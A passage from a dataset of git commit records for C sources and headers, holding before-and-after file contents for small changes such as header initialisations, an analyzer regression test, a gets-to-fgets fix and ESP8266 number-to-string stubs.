,UIKit0\/rhodes,rhomobile\/rhodes,rhomobile\/rhodes,pslgoh\/rhodes,UIKit0\/rhodes,nosolosoftware\/rhodes,watusi\/rhodes,tauplatform\/tau,nosolosoftware\/rhodes,rhosilver\/rhodes-1,watusi\/rhodes,louisatome\/rhodes,louisatome\/rhodes,rhomobile\/rhodes,tauplatform\/tau,watusi\/rhodes,jdrider\/rhodes,pslgoh\/rhodes,rhosilver\/rhodes-1,UIKit0\/rhodes,tauplatform\/tau,rhomobile\/rhodes,tauplatform\/tau"}
{"commit":"e63f331dd3a1f20e0f5d961a3569dd75b8104994","old_file":"tests\/regression\/62-abortUnless\/03-unsound-abortUnless.c","new_file":"tests\/regression\/62-abortUnless\/03-unsound-abortUnless.c","old_contents":"","new_contents":"\/\/ PARAM: --set ana.activated[+] abortUnless\n#include <goblint.h>\n\nint zero(int cond) {\n  return 0;\n}\n\nvoid assume_abort_if_not(int cond) {\n  if (cond) {\n    cond = zero(cond);\n  }\n  else {\n    abort();\n  }\n}\n\nint main(void)\n{\n  int x;\n  assume_abort_if_not(x == 8);\n  __goblint_check(x==8); \/\/ UNKNOWN!\n}\n","subject":"Add test abortUnless unsound test","message":"Add test abortUnless unsound test\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"a6b10190b8c629901b451a1519b49e2cee2bb4e1","old_file":"ouzel\/scene\/SceneManager.h","new_file":"ouzel\/scene\/SceneManager.h","old_contents":"\/\/ Copyright (C) 2016 Elviss Strazdins\n\/\/ This file is part of the Ouzel engine.\n\n#pragma once\n\n#include \"utils\/Types.h\"\n#include \"utils\/Noncopyable.h\"\n\nnamespace ouzel\n{\n    class Engine;\n\n    namespace scene\n    {\n        class SceneManager: public Noncopyable\n        {\n            friend Engine;\n        public:\n            virtual ~SceneManager();\n\n            void draw();\n\n            void setScene(Scene* newScene);\n            const Scene* getScene() const { return scene; }\n            void removeScene(Scene* oldScene);\n\n        protected:\n            SceneManager();\n\n            Scene* scene;\n            Scene* nextScene;\n        };\n    } \/\/ namespace scene\n} \/\/ namespace ouzel\n","new_contents":"\/\/ Copyright (C) 2016 Elviss Strazdins\n\/\/ This file is part of the Ouzel engine.\n\n#pragma once\n\n#include \"utils\/Types.h\"\n#include \"utils\/Noncopyable.h\"\n\nnamespace ouzel\n{\n    class Engine;\n\n    namespace scene\n    {\n        class SceneManager: public Noncopyable\n        {\n            friend Engine;\n        public:\n            virtual ~SceneManager();\n\n            void draw();\n\n            void setScene(Scene* newScene);\n            const Scene* getScene() const { return scene; }\n            void removeScene(Scene* oldScene);\n\n        protected:\n            SceneManager();\n\n            Scene* scene = nullptr;\n            Scene* nextScene = nullptr;\n        };\n    } \/\/ namespace scene\n} \/\/ namespace ouzel\n","subject":"Set scene and nextScene to null","message":"Set scene and nextScene to null\n","lang":"C","license":"unlicense","repos":"elvman\/ouzel,elvman\/ouzel,Hotspotmar\/ouzel,elnormous\/ouzel,elnormous\/ouzel,Hotspotmar\/ouzel,elnormous\/ouzel,Hotspotmar\/ouzel"}
{"commit":"3dee78190789bf7961a326101e417203d05253f5","old_file":"master\/mcoils.c","new_file":"master\/mcoils.c","old_contents":"","new_contents":"#include \"..\/modlib.h\"\n#include \"..\/parser.h\"\n#include \"mtypes.h\"\n\n#include \"mcoils.h\"\n\n\/\/Use external master configuration\nextern MODBUSMasterStatus MODBUSMaster;\n","subject":"Add function for building request01","message":"Add function for building request01\n","lang":"C","license":"mit","repos":"Jacajack\/modlib"}
{"commit":"c018da163f50acc6add9df3d74905ec150ce8573","old_file":"generate\/templates\/manual\/include\/callback_wrapper.h","new_file":"generate\/templates\/manual\/include\/callback_wrapper.h","old_contents":"#ifndef CALLBACK_WRAPPER_H\n#define CALLBACK_WRAPPER_H\n\n#include <nan.h>\n#include <uv.h>\n\nusing namespace v8;\nusing namespace node;\n\nclass CallbackWrapper {\n  Nan::Callback* jsCallback;\n\n  \/\/ throttling data, used for callbacks that need to be throttled\n  int throttle; \/\/ in milliseconds - if > 0, calls to the JS callback will be throttled\n  uint64_t lastCallTime;\n\npublic:\n  CallbackWrapper() {\n    jsCallback = NULL;\n    lastCallTime = 0;\n    throttle = 0;\n  }\n\n  ~CallbackWrapper() {\n    SetCallback(NULL);\n  }\n\n  bool HasCallback() {\n    return jsCallback != NULL;\n  }\n\n  Nan::Callback* GetCallback() {\n    return jsCallback;\n  }\n\n  void SetCallback(Nan::Callback* callback, int throttle = 0) {\n    if(jsCallback) {\n      delete jsCallback;\n    }\n    jsCallback = callback;\n    this->throttle = throttle;\n  }\n\n  bool WillBeThrottled() {\n    if(!throttle) {\n      return false;\n    }\n    \/\/ throttle if needed\n    uint64_t now = uv_hrtime();\n    if(lastCallTime > 0 && now < lastCallTime + throttle * 1000000) {\n      \/\/ throttled\n      return true;\n    } else {\n      lastCallTime = now;\n      return false;\n    }\n  }\n};\n\n#endif\n","new_contents":"#ifndef CALLBACK_WRAPPER_H\n#define CALLBACK_WRAPPER_H\n\n#include <nan.h>\n#include <uv.h>\n\nusing namespace v8;\nusing namespace node;\n\nclass CallbackWrapper {\n  Nan::Callback* jsCallback;\n\n  \/\/ throttling data, used for callbacks that need to be throttled\n  int throttle; \/\/ in milliseconds - if > 0, calls to the JS callback will be throttled\n  uint64_t lastCallTime;\n\npublic:\n  CallbackWrapper() {\n    jsCallback = NULL;\n    lastCallTime = 0;\n    throttle = 0;\n  }\n\n  ~CallbackWrapper() {\n    SetCallback(NULL);\n  }\n\n  bool HasCallback() {\n    return jsCallback != NULL;\n  }\n\n  Nan::Callback* GetCallback() {\n    return jsCallback;\n  }\n\n  void SetCallback(Nan::Callback* callback, int throttle = 0) {\n    if(jsCallback) {\n      delete jsCallback;\n    }\n    jsCallback = callback;\n    this->throttle = throttle;\n  }\n\n  bool WillBeThrottled() {\n    if(!throttle) {\n      return false;\n    }\n    \/\/ throttle if needed\n    uint64_t now = uv_hrtime();\n    if(lastCallTime > 0 && now < lastCallTime + throttle * (uint64_t)1000000) {\n      \/\/ throttled\n      return true;\n    } else {\n      lastCallTime = now;\n      return false;\n    }\n  }\n};\n\n#endif\n","subject":"Use wider int to calculate throttle window","message":"Use wider int to calculate throttle window\n\n","lang":"C","license":"mit","repos":"nodegit\/nodegit,jmurzy\/nodegit,jmurzy\/nodegit,jmurzy\/nodegit,nodegit\/nodegit,nodegit\/nodegit,nodegit\/nodegit,nodegit\/nodegit,jmurzy\/nodegit,jmurzy\/nodegit"}
{"commit":"cb094452ae663fbc04e8f7c01f3864dee30bf98f","old_file":"protocols\/jabber\/jingle\/libjingle\/talk\/base\/base64.h","new_file":"protocols\/jabber\/jingle\/libjingle\/talk\/base\/base64.h","old_contents":"\n\/\/*********************************************************************\n\/\/* C_Base64 - a simple base64 encoder and decoder.\n\/\/*\n\/\/*     Copyright (c) 1999, Bob Withers - bwit@pobox.com\n\/\/*\n\/\/* This code may be freely used for any purpose, either personal\n\/\/* or commercial, provided the authors copyright notice remains\n\/\/* intact.\n\/\/*********************************************************************\n\n#ifndef Base64_H\n#define Base64_H\n\n#include <string>\nusing std::string;  \/\/ comment if your compiler doesn't use namespaces\n\nclass Base64\n{\npublic:\n  static string encode(const string & data);\n  static string decode(const string & data);\n  static string encodeFromArray(const char * data, size_t len);\nprivate:\n  static const string Base64::Base64Table;\n  static const string::size_type Base64::DecodeTable[];\n};\n\n#endif\n","new_contents":"\n\/\/*********************************************************************\n\/\/* C_Base64 - a simple base64 encoder and decoder.\n\/\/*\n\/\/*     Copyright (c) 1999, Bob Withers - bwit@pobox.com\n\/\/*\n\/\/* This code may be freely used for any purpose, either personal\n\/\/* or commercial, provided the authors copyright notice remains\n\/\/* intact.\n\/\/*********************************************************************\n\n#ifndef Base64_H\n#define Base64_H\n\n#include <string>\nusing std::string;  \/\/ comment if your compiler doesn't use namespaces\n\nclass Base64\n{\npublic:\n  static string encode(const string & data);\n  static string decode(const string & data);\n  static string encodeFromArray(const char * data, size_t len);\nprivate:\n  static const string Base64Table;\n  static const string::size_type DecodeTable[];\n};\n\n#endif\n","subject":"Make it build with gcc 4.1","message":"Make it build with gcc 4.1\n\nsvn path=\/branches\/kopete\/0.12\/kopete\/; revision=518337\n","lang":"C","license":"lgpl-2.1","repos":"josh-wambua\/kopete,josh-wambua\/kopete,Jtalk\/kopete-fork-xep0136,josh-wambua\/kopete,Jtalk\/kopete-fork-xep0136,josh-wambua\/kopete,josh-wambua\/kopete,Jtalk\/kopete-fork-xep0136,Jtalk\/kopete-fork-xep0136,Jtalk\/kopete-fork-xep0136,josh-wambua\/kopete,Jtalk\/kopete-fork-xep0136,josh-wambua\/kopete"}
{"commit":"3bc2b96d8ddb01e739161e4c65fe23473135db40","old_file":"chrome\/common\/notification_observer.h","new_file":"chrome\/common\/notification_observer.h","old_contents":"","new_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\r\n\/\/ Use of this source code is governed by a BSD-style license that can be\r\n\/\/ found in the LICENSE file.\r\n\r\n#ifndef CHROME_COMMON_NOTIFICATION_OBSERVER_H_\r\n#define CHROME_COMMON_NOTIFICATION_OBSERVER_H_\r\n\r\nclass NotificationDetails;\r\nclass NotificationSource;\r\nclass NotificationType;\r\n\r\n\/\/ This is the base class for notification observers. When a matching\r\n\/\/ notification is posted to the notification service, Observe is called.\r\nclass NotificationObserver {\r\n public:\r\n  virtual ~NotificationObserver();\r\n\r\n  virtual void Observe(NotificationType type,\r\n                       const NotificationSource& source,\r\n                       const NotificationDetails& details) = 0;\r\n};\r\n\r\n#endif  \/\/ CHROME_COMMON_NOTIFICATION_OBSERVER_H_\r\n","subject":"Add forgotted notification observer header.","message":"Add forgotted notification observer header.\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@9021 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"yitian134\/chromium,adobe\/chromium,adobe\/chromium,ropik\/chromium,adobe\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,ropik\/chromium,yitian134\/chromium,adobe\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,gavinp\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,gavinp\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,ropik\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,yitian134\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,yitian134\/chromium"}
{"commit":"b6d178b4dcb894180356c445b8cde644e7dc4327","old_file":"Squirrel\/SQRLShipItLauncher.h","new_file":"Squirrel\/SQRLShipItLauncher.h","old_contents":"\/\/\n\/\/  SQRLShipItLauncher.h\n\/\/  Squirrel\n\/\/\n\/\/  Created by Justin Spahr-Summers on 2013-08-12.\n\/\/  Copyright (c) 2013 GitHub. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/ The domain for errors originating within SQRLShipItLauncher.\nextern NSString * const SQRLShipItLauncherErrorDomain;\n\n\/\/ The ShipIt service could not be started.\nextern const NSInteger SQRLShipItLauncherErrorCouldNotStartService;\n\n\/\/ Responsible for launching the ShipIt service to actually install an update.\n@interface SQRLShipItLauncher : NSObject\n\n\/\/ Attempts to launch the ShipIt service.\n\/\/\n\/\/ error - If not NULL, set to any error that occurs.\n\/\/\n\/\/ Returns the XPC connection established, or NULL if an error occurs. If an\n\/\/ error occurs in the connection, it will be automatically released. Retain it\n\/\/ if you'll still need it after that point.\n- (xpc_connection_t)launch:(NSError **)error;\n\n@end\n","new_contents":"\/\/\n\/\/  SQRLShipItLauncher.h\n\/\/  Squirrel\n\/\/\n\/\/  Created by Justin Spahr-Summers on 2013-08-12.\n\/\/  Copyright (c) 2013 GitHub. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/ The domain for errors originating within SQRLShipItLauncher.\nextern NSString * const SQRLShipItLauncherErrorDomain;\n\n\/\/ The ShipIt service could not be started.\nextern const NSInteger SQRLShipItLauncherErrorCouldNotStartService;\n\n\/\/ Responsible for launching the ShipIt service to actually install an update.\n@interface SQRLShipItLauncher : NSObject\n\n\/\/ Attempts to launch the ShipIt service.\n\/\/\n\/\/ error - If not NULL, set to any error that occurs.\n\/\/\n\/\/ Returns the XPC connection established, or NULL if an error occurs. The\n\/\/ connection will be automatically released once it has completed or received\n\/\/ an error. Retain the connection if you'll still need it after that point.\n- (xpc_connection_t)launch:(NSError **)error;\n\n@end\n","subject":"Clarify XPC connection lifecycle for -launch:","message":"Clarify XPC connection lifecycle for -launch:\n","lang":"C","license":"mit","repos":"emiscience\/Squirrel.Mac,EdZava\/Squirrel.Mac,Squirrel\/Squirrel.Mac,EdZava\/Squirrel.Mac,Squirrel\/Squirrel.Mac,emiscience\/Squirrel.Mac,EdZava\/Squirrel.Mac,emiscience\/Squirrel.Mac,Squirrel\/Squirrel.Mac"}
{"commit":"e3a82a7ee478b4693a7f250004d628e822c105ed","old_file":"src\/bin\/e_acpi.h","new_file":"src\/bin\/e_acpi.h","old_contents":"#ifdef E_TYPEDEFS\n\n\/* enum for various event types *\/\ntypedef enum _E_Acpi_Type \n{\n   E_ACPI_TYPE_UNKNOWN = 0,\n   E_ACPI_TYPE_LID,\n   E_ACPI_TYPE_BATTERY,\n   E_ACPI_TYPE_BUTTON,\n   E_ACPI_TYPE_SLEEP,\n   E_ACPI_TYPE_WIFI\n} E_Acpi_Type;\n\n\/* struct used to pass to event handlers *\/\ntypedef struct _E_Event_Acpi E_Event_Acpi;\n\n#else\n# ifndef E_ACPI_H\n#  define E_ACPI_H\n\nstruct _E_Event_Acpi \n{\n   const char *device, *bus_id;\n   int type, data;\n};\n\nEAPI int e_acpi_init(void);\nEAPI int e_acpi_shutdown(void);\n\nextern EAPI int E_EVENT_ACPI_LID;\nextern EAPI int E_EVENT_ACPI_BATTERY;\nextern EAPI int E_EVENT_ACPI_BUTTON;\nextern EAPI int E_EVENT_ACPI_SLEEP;\nextern EAPI int E_EVENT_ACPI_WIFI;\n\n# endif\n#endif\n","new_contents":"#ifdef E_TYPEDEFS\n\n\/* enum for various event types *\/\ntypedef enum _E_Acpi_Type \n{\n   E_ACPI_TYPE_UNKNOWN = 0,\n   E_ACPI_TYPE_BATTERY,\n   E_ACPI_TYPE_BUTTON,\n   E_ACPI_TYPE_FAN,\n   E_ACPI_TYPE_LID,\n   E_ACPI_TYPE_PROCESSOR,\n   E_ACPI_TYPE_SLEEP,\n   E_ACPI_TYPE_POWER,\n   E_ACPI_TYPE_THERMAL,\n   E_ACPI_TYPE_VIDEO,\n   E_ACPI_TYPE_WIFI\n} E_Acpi_Type;\n\n\/* struct used to pass to event handlers *\/\ntypedef struct _E_Event_Acpi E_Event_Acpi;\n\n#else\n# ifndef E_ACPI_H\n#  define E_ACPI_H\n\nstruct _E_Event_Acpi \n{\n   const char *device, *bus_id;\n   int type, data;\n};\n\nEAPI int e_acpi_init(void);\nEAPI int e_acpi_shutdown(void);\n\nextern EAPI int E_EVENT_ACPI_LID;\nextern EAPI int E_EVENT_ACPI_BATTERY;\nextern EAPI int E_EVENT_ACPI_BUTTON;\nextern EAPI int E_EVENT_ACPI_SLEEP;\nextern EAPI int E_EVENT_ACPI_WIFI;\n\n# endif\n#endif\n","subject":"Add some more acpi event types that we will handle.","message":"Add some more acpi event types that we will handle.\n\n\n\ngit-svn-id: 6ac5796aeae0cef97fb47bcc287d4ce899c6fa6e@48916 7cbeb6ba-43b4-40fd-8cce-4c39aea84d33\n","lang":"C","license":"bsd-2-clause","repos":"jordemort\/e17,jordemort\/e17,jordemort\/e17"}
{"commit":"02b194c36659bfd85485aded4e52c3e587df48b0","old_file":"Runtime\/Rendering\/BufferDX11.h","new_file":"Runtime\/Rendering\/BufferDX11.h","old_contents":"#pragma once\n#include \"ResourceDX11.h\"\n   \nnamespace Mile\n{\n   class MEAPI BufferDX11 : public ResourceDX11\n   {\n   public:\n      BufferDX11( RendererDX11* renderer ) : \n         m_buffer( nullptr ),\n         ResourceDX11( renderer )\n      {\n      }\n\n      ~BufferDX11( )\n      {\n         SafeRelease( m_buffer );\n      }\n\n      virtual ID3D11Resource* GetResource( ) override;\n      D3D11_BUFFER_DESC GetDesc( ) const { return m_desc; }\n\n      virtual void* Map( ) { return nullptr;  }\n      virtual void UnMap( ) { }\n\n   protected:\n      ID3D11Buffer*     m_buffer;\n      D3D11_BUFFER_DESC m_desc;\n\n   };\n}","new_contents":"#pragma once\n#include \"ResourceDX11.h\"\n   \nnamespace Mile\n{\n   class MEAPI BufferDX11 : public ResourceDX11\n   {\n   public:\n      BufferDX11( RendererDX11* renderer ) : \n         m_buffer( nullptr ),\n         ResourceDX11( renderer )\n      {\n      }\n\n      ~BufferDX11( )\n      {\n         SafeRelease( m_buffer );\n      }\n\n      virtual ID3D11Resource* GetResource( ) override;\n      D3D11_BUFFER_DESC GetDesc( ) const { return m_desc; }\n\n      virtual void* Map( ) { return nullptr;  }\n      virtual bool UnMap( ) { return false; }\n\n   protected:\n      ID3D11Buffer*     m_buffer;\n      D3D11_BUFFER_DESC m_desc;\n\n   };\n}","subject":"Modify UnMap function return boolean value that succesfully unmaped.","message":"Modify UnMap function return boolean value that succesfully unmaped.\n","lang":"C","license":"mit","repos":"HoRangDev\/MileEngine,HoRangDev\/MileEngine"}
{"commit":"eff92ef21f2853cdde235b81b3e4427ce122787d","old_file":"xFaceLib\/xFaceLib\/Classes\/runtime\/XViewController.h","new_file":"xFaceLib\/xFaceLib\/Classes\/runtime\/XViewController.h","old_contents":"\n\/*\n This file was modified from or inspired by Apache Cordova.\n\n Licensed to the Apache Software Foundation (ASF) under one\n or more contributor license agreements. See the NOTICE file\n distributed with this work for additional information\n regarding copyright ownership. The ASF licenses this file\n to you under the Apache License, Version 2.0 (the\n \"License\"); you may not use this file except in compliance\n with the License. You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing,\n software distributed under the License is distributed on an\n \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n KIND, either express or implied. See the License for the\n specific language governing permissions and limitations\n under the License.\n *\/\n\n\/\/\n\/\/  XViewController.h\n\/\/  xFaceLib\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <Cordova\/CDVViewController.h>\n\n@protocol XApplication;\n\n@interface XViewController : CDVViewController\n\n@property (nonatomic, assign) BOOL loadFromString;\n@property (weak, nonatomic) id<XApplication> ownerApp;  \/**< 关联的app *\/\n\n@end","new_contents":"\n\/*\n This file was modified from or inspired by Apache Cordova.\n\n Licensed to the Apache Software Foundation (ASF) under one\n or more contributor license agreements. See the NOTICE file\n distributed with this work for additional information\n regarding copyright ownership. The ASF licenses this file\n to you under the Apache License, Version 2.0 (the\n \"License\"); you may not use this file except in compliance\n with the License. You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing,\n software distributed under the License is distributed on an\n \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n KIND, either express or implied. See the License for the\n specific language governing permissions and limitations\n under the License.\n *\/\n\n\/\/\n\/\/  XViewController.h\n\/\/  xFaceLib\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"Cordova\/CDVViewController.h\"\n\n@protocol XApplication;\n\n@interface XViewController : CDVViewController\n\n@property (nonatomic, assign) BOOL loadFromString;\n@property (weak, nonatomic) id<XApplication> ownerApp;  \/**< 关联的app *\/\n\n@end","subject":"Update the way of importing CDVViewController to avoid compiler warning when using xFaceLib in 3rd party.","message":"Update the way of importing CDVViewController to avoid compiler warning when using xFaceLib in 3rd party.\n","lang":"C","license":"apache-2.0","repos":"polyvi\/xface-ios,polyvi\/xface-ios,polyvi\/xface-ios,polyvi\/xface-ios"}
{"commit":"aafe9cec55a481c7982611fd491279c44b2bab41","old_file":"LinkedList\/linkedList.c","new_file":"LinkedList\/linkedList.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#ifndef LINKED_LIST_H\n\t#define LINKED_LIST_H\n\t#include \"linkedList.h\"\n#endif\n\nstruct Node {\n\tint data;\n\tstruct Node* next;\n};\n\nint main(int arc, char **argc) {\n\t\/\/ Create size for the nodes\n\tstruct Node* head   = malloc(sizeof(struct Node));\n\tstruct Node* middle = malloc(sizeof(struct Node));\n\tstruct Node* tail   = malloc(sizeof(struct Node));\n\n\t\/\/ Assign their data\n\thead->data   = 15;\n\tmiddle->data = 20;\n\ttail->data   = 25;\n\n\t\/\/ Chain them together\n\thead->next   = middle;\n\tmiddle->next = tail;\n\ttail->next   = NULL;\n\n\t\/\/ Create pointer node for traversal\n\tstruct Node* n = malloc(sizeof(struct Node));\n\tn = head;\n\n\t\/\/ Traverse the linked list\n\twhile(n != NULL) {\n\t\tprintf(\"data is: %i\\n\", n->data);\n\t\tn = n->next;\n\t}\n\n\treturn 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#ifndef LINKED_LIST_H\n\t#define LINKED_LIST_H\n\t#include \"linkedList.h\"\n#endif\n\nstruct Node {\n\tint data;\n\tstruct Node* next;\n};\n\nbool hasNode(struct Node* head, int data) {\n\treturn true;\n}\n\nint main(int arc, char **argc) {\n\t\/\/ Create size for the nodes\n\tstruct Node* head   = malloc(sizeof(struct Node));\n\tstruct Node* middle = malloc(sizeof(struct Node));\n\tstruct Node* tail   = malloc(sizeof(struct Node));\n\n\t\/\/ Assign their data\n\thead->data   = 15;\n\tmiddle->data = 20;\n\ttail->data   = 25;\n\n\t\/\/ Chain them together\n\thead->next   = middle;\n\tmiddle->next = tail;\n\ttail->next   = NULL;\n\n\t\/\/ Create pointer node for traversal\n\tstruct Node* n = malloc(sizeof(struct Node));\n\tn = head;\n\n\t\/\/ Traverse the linked list\n\twhile(n != NULL) {\n\t\tprintf(\"data is: %i\\n\", n->data);\n\t\tn = n->next;\n\t}\n\n\treturn 0;\n}\n","subject":"Add base struct for hasNode.","message":"Add base struct for hasNode.\n","lang":"C","license":"mit","repos":"karysto\/c-datastructures,karysto\/c-datastructures"}
{"commit":"6ba1561ebea8ed03aa36e1aaa4892a53f9bc9496","old_file":"php_extcss3.h","new_file":"php_extcss3.h","old_contents":"#ifndef PHP_EXTCSS3_H\n#define PHP_EXTCSS3_H\n\n#include <php.h>\n\n#include \"extcss3\/types.h\"\n\n#define PHP_EXTCSS3_EXTNAME\t\"extcss3\"\n#define PHP_EXTCSS3_EXTVER\t\"1.0.0\"\n\n#ifdef HAVE_CONFIG_H\n\t#include \"config.h\"\n#endif \/* HAVE_CONFIG_H *\/\n\nextern zend_module_entry extcss3_module_entry;\n#define phpext_extcss3_ptr &extcss3_module_entry;\n\ntypedef struct _extcss3_object\n{\n\textcss3_intern\t*intern;\n\tzend_object\t\tstd;\n} extcss3_object;\n\n#endif \/* PHP_EXTCSS3_H *\/\n","new_contents":"#ifndef PHP_EXTCSS3_H\n#define PHP_EXTCSS3_H\n\n#include <php.h>\n\n#include \"extcss3\/types.h\"\n\n#define PHP_EXTCSS3_EXTNAME\t\"extcss3\"\n#define PHP_EXTCSS3_EXTVER\t\"1.0.1\"\n\n#ifdef HAVE_CONFIG_H\n\t#include \"config.h\"\n#endif \/* HAVE_CONFIG_H *\/\n\nextern zend_module_entry extcss3_module_entry;\n#define phpext_extcss3_ptr &extcss3_module_entry;\n\ntypedef struct _extcss3_object\n{\n\textcss3_intern\t*intern;\n\tzend_object\t\tstd;\n} extcss3_object;\n\n#endif \/* PHP_EXTCSS3_H *\/\n","subject":"Change the version to `1.0.1`","message":"Change the version to `1.0.1`","lang":"C","license":"mit","repos":"sevenval\/php-ext-css,sevenval\/php-ext-css,sevenval\/php-ext-css"}
{"commit":"b4efe8788da54f5fd42311a4cc8d8d432b181167","old_file":"project_config\/lmic_project_config.h","new_file":"project_config\/lmic_project_config.h","old_contents":"\/\/ project-specific definitions for otaa sensor\n\/\/#define CFG_eu868 1\n\/\/#define CFG_us915 1\n\/\/#define CFG_au921 1\n#define CFG_as923 1\n#define LMIC_COUNTRY_CODE   LMIC_COUNTRY_CODE_JP\n\/\/#define CFG_in866 1\n#define CFG_sx1276_radio 1\n\/\/#define LMIC_USE_INTERRUPTS\n","new_contents":"\/\/ project-specific definitions for otaa sensor\n\/\/#define CFG_eu868 1\n\/\/#define CFG_us915 1\n\/\/#define CFG_au921 1\n#define CFG_as923 1\n#define LMIC_COUNTRY_CODE   LMIC_COUNTRY_CODE_JP\n\/\/#define CFG_in866 1\n#define CFG_sx1276_radio 1\n\/\/#define LMIC_USE_INTERRUPTS\n#define LMIC_DEBUG_LEVEL 2\n#define LMIC_DEBUG_PRINTF_FN lmic_printf\n","subject":"Set debug level to 2 and use a suitable printf function","message":"Set debug level to 2 and use a suitable printf function\n","lang":"C","license":"mit","repos":"mcci-catena\/arduino-lmic,mcci-catena\/arduino-lmic,mcci-catena\/arduino-lmic"}
{"commit":"b621f9804b8dc2274d9d990eb074978151c6d09d","old_file":"portable_io.c","new_file":"portable_io.c","old_contents":"#include <stdio.h>\n#include \"portable_io.h\"\n\n\n\nchar Prbuf[MAXLLEN];\n\n\/\/将输入输出函数包出来.\n\nvoid portable_puts(char* buf){\n\twhile((*buf)!=0){\n\t\tputchar(*buf);\n\t\tbuf++;\n\t}\n}\n\nvoid portable_input_int(int* val){\n\tportable_gets(Prbuf); \n\tsscanf(Prbuf, \"%d\", val);\n}\n\nvoid portable_gets(char* buf){\n\tgets(buf);\t\n} \n","new_contents":"#include <stdio.h>\n#include \"portable_io.h\"\n\n\n\nchar Prbuf[MAXLLEN];\n\n\/\/将输入输出函数包出来.\n\nvoid portable_puts(char* buf){\n\twhile((*buf)!=0){\n\t\tputchar(*buf);\n\t\tbuf++;\n\t}\n}\n\nvoid portable_input_int(int* val){\n\tportable_gets(Prbuf); \n\tsscanf(Prbuf, \"%d\", val);\n}\n\nvoid portable_gets(char* buf){\n\tfgets(buf, MAXLLEN, stdin);\t\n} \n","subject":"Change gets to fgets, because gets is unsafe","message":"Change gets to fgets, because gets is unsafe\n\nWe had to make a pull request to a project with some unsafe C code to make it more secure. This project was the lucky one. Have fun with the security improvements :)","lang":"C","license":"mit","repos":"sunzx\/TarielBASIC,sunzx\/TarielBASIC"}
{"commit":"1154cd8ae5e2835514a5d890d68d082b7dfe26d1","old_file":"hardware\/arduino\/esp8266\/cores\/esp8266\/core_esp8266_noniso.c","new_file":"hardware\/arduino\/esp8266\/cores\/esp8266\/core_esp8266_noniso.c","old_contents":"#include <stdlib.h>\n#include \"stdlib_noniso.h\"\n\nlong atol_internal(const char* s)\n{\n  return 0;\n}\n\nfloat atof_internal(const char* s)\n{\n  return 0;\n}\n\nchar * itoa (int val, char *s, int radix)\n{\n  *s = 0;\n  return s;\n}\n\nchar * ltoa (long val, char *s, int radix)\n{\n  *s = 0;\n  return s;\n}\n \nchar * utoa (unsigned int val, char *s, int radix)\n{\n  *s = 0;\n  return s;\n}\n \nchar * ultoa (unsigned long val, char *s, int radix)\n{\n  *s = 0;\n  return s;\n}\n\nchar * dtostre (double __val, char *__s, unsigned char __prec, unsigned char __flags)\n{\n  *__s = 0;\n  return __s;\n}\n \nchar * dtostrf (double __val, signed char __width, unsigned char __prec, char *__s)\n{\n   *__s = 0;\n   return __s;\n}\n","new_contents":"#include <stdlib.h>\n#include \"stdlib_noniso.h\"\n\n\nextern int ets_sprintf(char*, const char*, ...);\n\n#define sprintf ets_sprintf\n\nlong atol_internal(const char* s)\n{\n  long result = 0;\n  return result;\n}\n\nfloat atof_internal(const char* s)\n{\n  float result = 0;\n  return result;\n}\n\nchar * itoa (int val, char *s, int radix)\n{\n  \/\/ todo: radix\n  sprintf(s, \"%d\", val);\n  return s;\n}\n\nchar * ltoa (long val, char *s, int radix)\n{\n  sprintf(s, \"%ld\", val);\n  return s;\n}\n \nchar * utoa (unsigned int val, char *s, int radix)\n{\n  sprintf(s, \"%u\", val);\n  return s;\n}\n \nchar * ultoa (unsigned long val, char *s, int radix)\n{\n  sprintf(s, \"%lu\", val);\n  return s;\n}\n\nchar * dtostre (double __val, char *__s, unsigned char __prec, unsigned char __flags)\n{\n  *__s = 0;\n  return __s;\n}\n \nchar * dtostrf (double __val, signed char __width, unsigned char __prec, char *__s)\n{\n   *__s = 0;\n   return __s;\n}\n","subject":"Add stubs for itoa, ltoa","message":"Add stubs for itoa, 